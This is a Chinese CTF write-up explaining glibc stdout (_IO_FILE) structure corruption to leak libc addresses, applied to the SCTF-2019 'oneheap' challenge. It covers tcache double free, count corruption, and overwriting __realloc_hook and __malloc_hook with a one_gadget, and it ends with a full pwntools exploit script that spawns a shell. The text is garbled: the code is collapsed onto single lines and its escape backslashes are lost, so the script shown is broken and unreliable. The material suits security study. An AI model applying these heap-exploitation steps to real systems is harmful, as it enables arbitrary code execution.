CTF中用stdout泄露内存

  • A+
所属分类:CTF专场

Overview

做堆题目的时候经常碰到没有show函数的情况,这时还可以用修改stdout结构的方式泄露出我们想要的libc地址。这种方式也是近些年比赛的常规操作了。

原理

这项技术是通过修改stdout的结构体中的指针,使其输出更多数据,泄露出libc地址。

1.概念

stdout 是一个_IO_FILE结构体, 每个_IO_FILE结构体都有如下结构,在本文中最关注的是 _flags 和 _IO_write_base , _IO_write_ptr . 只要控制好这三个变量,就可以利用如puts / printf 等stdio相关的函数中泄露内存

struct _IO_FILE_plus{    _IO_FILE    file;    IO_jump_t   *vtable;}

_IO_FILE_plus 就是_IO_FILE 外面多了一个vtable 里面有很多函数指针

CTF中用stdout泄露内存

CTF中用stdout泄露内存


puts会将 _IO_write_base 和 _IO_write_ptr 区间内的数据输出,在输出之前_flags要满足一些要求 上面的 _flags = 0xfbad2887 是多个flag标志的集合,flag的定义在libio.h中,只例举我们用到的三个如下

#define _IO_MAGIC 0xFBAD0000 /* Magic number */#define _IO_CURRENTLY_PUTTING 0x800#define _IO_IS_APPENDING 0x1000#define _IO_NO_WRITES 8 /* Writing not allowd */

2.puts程序流

_IO_puts => _IO_sputn => vtable 中的 __xsputn => _IO_new_file_xsputn => _IO_new_file_overflow

为了简化只写出需要设置flag的部分

int _IO_new_file_overflow (_IO_FILE *f, int ch){  if (f->_flags & _IO_NO_WRITES) // 需要绕过    {      f->_flags |= _IO_ERR_SEEN;      __set_errno (EBADF);      return EOF;    }  /* If currently reading or no buffer allocated. */  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) //需要绕过    {      ...    }  if (ch == EOF)    return _IO_do_write (f, f->_IO_write_base,  f->_IO_write_ptr - f->_IO_write_base);

_IO_do_write => new_do_write

static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do){  _IO_size_t count;  if (fp->_flags & _IO_IS_APPENDING)  /* 需要满足 */    fp->_offset = _IO_pos_BAD;  else if (fp->_IO_read_end != fp->_IO_write_base)    {     ............    }  count = _IO_SYSWRITE (fp, data, to_do); // 最终目标

经过以上流程,我们需要设置_flags为 0xfbad1800

_flags = 0xfbad0000  // Magic number_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

漏洞利用思路

在没有tcache时:使用unsorted bin attack 写一个main_arena 地址到一个fastbin 的fd中有tcache时 :通过修改libc中的stdout的结构,进行泄露同时修改_IO_IS_APPENDING(0x1000)和_IO_CURRENTLY_PUTTING(0x800)标志位.同时修改_IO_CURRENTLY_PUTTING(0x800)标志位和stdout->_IO_write_base 和stdout->_IO_read_endstdout已经输出过,所以_IO_CURRENTLY_PUTTING标志位就是1,我们只要修改stdout->_IO_write_base和stdout->_IO_read_end指针

SCTF-2019-oneheap

1. 逆向分析

程序是堆题目,有tcache,功能上只有两个选项,保护全开,只有一个堆指针

add: size小于0x7ffree : free 后没有清空指针, 由于没有edit功能,这里就只能是double free(感谢tcache没有double free的check),free次数限制4次 难点在于没有leak且free次数有限程序保护全开

2. 利用思路

问题1:没有show函数如何leak libc

通过覆盖stdout结构的方式进行泄露,需要一个main_arena 地址进行部分写申请到stdout ,但是在tcache的情况下需要free 7次填满tcache 后才能释放到unsorted bin 中获取到main_arena 地址,free 次数最多只有4次。

问题2:free次数不够如何构造unsorted bin

修改count 创造unsorted bin tcache_perthread_struct 是管理tcache的结构,其中维护了已有的tcache chunk 地址

typedef struct tcache_perthread_struct{char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;


double free 导致chunk的fd指向自己,形成了一个无限循环,当调用malloc时可以多次申请出同一个chunk,每次结构中count 就会减1。如果两次free, 三次malloc就会导致count 变成0xff, 让程序误认为已经有很多tcache ,因此下一次free 直接放到unsorted bin中。

还需要注意,一旦放入unsorted bin 如果和top chunk 相邻就会合并,需要申请一个0x2f的chunk 防止合并,同时free掉放入tcache,准备下一次tcache poison使用。

    new(0x7f,"a"*4)    new(0x7f,"a"*4)    de()    de()
new(0x2f,"") # 防止新unsorted bin 和topchunk合并 de()
new(0x7f,"") new(0x7f,"") new(0x7f,"") de()

堆情况如下

tcachebins0x40 [  1]: 0x555555759380 ◂— 0x00x90 [ -1]: 0x5555557592f0 —▸ 0x7ffff7dcfca0 (main_arena+96)unsortedbinall: 0x5555557592e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555557592e0

此时chunk同时存在于tcache和unsorted bin 中,从unsorted bin 中分配堆块覆盖fd ,再使用tcache poisoning (类似UAF)

泄露地址

1.new chunk 修改fd为stdout地址,需要一点爆破 x60x07xdd 此时tcache 中的entry 依然指向原来的地址 0x90 [ -1]: 0x5555557592f0 —▸ 0x7ffff7dd0760 (_IO_2_1_stdout_)

new(0x20,"x60x07xdd")new(0x7f,p64(0)*5+p64(0xa1)) # 伪造size 合并下面的chunknew(0x7f,p64(0xfbad1800)+p64(0)*3+'x00')

修改flag为0xfbad1800 构造stdout leak , 覆盖write_base 指针的最低字节为x00,下一次输出就会把write_base 到write_ptr的内容输出出来。

攻击realloc_hook

使用之前tcache中的0x40 [ 1]: 0x555555759380 ◂— 0x0 , 修改位于0x555555759380 的entry 指向realloc_hook(在malloc_hook前面)

unsorted bin all: 0x555555759310 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555759310

二者距离0x60,申请0x68的chunk, 将0x555555759380 覆盖为realloc_hook 但是此时堆中可用size 最大是0x60,需要将这个chunk扩大,才能利用malloc 0x68 覆盖tcache中chunk的fd为realloc_hook

CTF中用stdout泄露内存

onegadget 直接覆盖malloc_hook 不好用, 需要将malloc_hook覆盖为realloc的地址,再将realloc_hook覆盖为onegadget,可以通过调整realloc 的地址来满足onegadget 的条件。

Final

chunk 2f0即在unsorted bin 中又在tcache中,可以修改2f0两次:

第一次 malloc 0x20 修改fd为stdout 地址第二次 malloc 0x7f 一是把tcache 中的chunk拿出来, 二是修改unsorted bin 的chunk size 使其满足申请0x68块(将原来的0x61改成0xa1)

在这道题中后面的堆布局稍微难理解一点,调试的时候把随机化关掉,再画一画图就好了。据说有爆破更少的解法,有空再更,欢迎交流。


EXP

#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *import sysimport osdebug = 0exe = "./one_heap"
r = lambda x:io.recv(x)ru = lambda x:io.recvuntil(x)rud = lambda x:io.recvuntil(x,drop=True)rul = lambda:io.recvline()sd = lambda x:io.send(x)sl = lambda x:io.sendline(x) sea = lambda x,y:io.sendafter(x,y)sela = lambda x,y:io.sendlineafter(x,y)
context.terminal = ["tmux","splitw","-h"]elf = ELF(exe)context.arch = elf.arch
if debug: context.log_level = "debug"
arena64 = 0x3c4b20arena32 = 0x1b2780
def dbg(breakpoint=0): elf_base = int(os.popen('pmap {}| awk x27{{print x241}}x27'.format(io.pid)).readlines()[1], 16)if elf.pie else 0 if breakpoint!=0: gdbscript = 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint gdb.attach(io, gdbscript) time.sleep(1) else: gdb.attach(io)
if len(sys.argv)>1: io = remote(sys.argv[1],int(sys.argv[2])) #libc = ELF("./libc.so.6")else: #io = process(exe) libc = elf.libc
def new(size,content,line=1): sela(":","1") sela(":",str(size)) if line==1: sela(":",content) else: sea(":",content)
def de(): sela(":","2")
# double free tcache perthread corruptiondef exp(): global io io = process("./one_heap") new(0x7f,"a"*4) new(0x7f,"a"*4) de() de() new(0x2f,"") # 防止新unsorted bin 和topchunk合并 de()
new(0x7f,"") new(0x7f,"") new(0x7f,"") de() # 覆盖 0x7ffff7dd0760 <_IO_2_1_stdout_> new(0x20,"x60x07xdd") new(0x7f,p64(0)*5+p64(0xa1)) new(0x7f,p64(0xfbad1800)+p64(0)*3+'x00') try: if r(4)=="Done": return else: pass except Exception as identifier: io.close() return
ru("x7f") libc.address = u64(ru("x7f")[-6:].ljust(8,"x00")) - 0x3eb780 print hex(libc.address) one = libc.address+0x10a38c ''' 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' # malloc_hook
new(0x68, p64(0) * 12+p64(libc.symbols['__realloc_hook']),line=0) new(0x38,"") new(0x38,p64(one)+p64(libc.symbols["realloc"]+4)) new(0x30,"") io.interactive()
exp()

原文始发于微信公众号(做一个好PWN手):CTF中用stdout泄露内存

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: